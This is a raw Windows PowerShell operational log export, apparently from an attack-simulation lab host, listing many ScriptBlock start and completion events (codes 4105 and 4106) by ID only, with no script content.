SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037371
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037370
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037369
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037368
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037367
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037366
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037365
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037364
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037363
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037362
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037361
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037360
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037359
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037358
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037357
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037356
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037355
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037354
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037353
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037352
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037351
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037350
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037349
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037348
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037347
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037346
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037345
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037344
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037343
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037342
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037341
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037340
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037339
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037338
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037337
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037336
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037335
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037334
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037333
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037332
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037331
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037330
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037329
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037328
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037327
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037326
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037325
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037324
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037323
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037322
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037321
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037320
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037319
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
